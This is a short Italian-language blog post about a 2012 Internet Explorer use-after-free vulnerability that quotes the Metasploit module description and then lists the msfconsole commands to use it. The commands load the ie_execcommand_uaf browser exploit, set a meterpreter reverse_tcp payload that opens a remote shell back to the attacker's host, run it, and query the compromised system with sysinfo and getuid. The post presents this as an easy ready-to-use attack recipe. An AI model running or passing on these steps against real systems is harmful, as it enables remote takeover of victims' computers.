Nuova vulnerabilità per internet explorer.
La vulnerabilità è stata individuata sugli stessi server di questo nuovo exploit:
[CVE-2012-4681] Java 7 Remote Code Execution && Metasploit
I target per questo exploit sono i seguenti:
La descrizione dell’exploit:
This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When
rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,
but the same memory is reused again later in the CMshtmlEd::Exec() function, leading
to a use-after-free condition. Please note that this vulnerability has
been exploited in the wild since Sep 14 2012.
L’utilizzo è come sempre molto semplice su metasploit:
sudo msfupdate
sudo msfconsole
use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST IP
exploit
sysinfo
getuid
Piccolo video dimostrativo: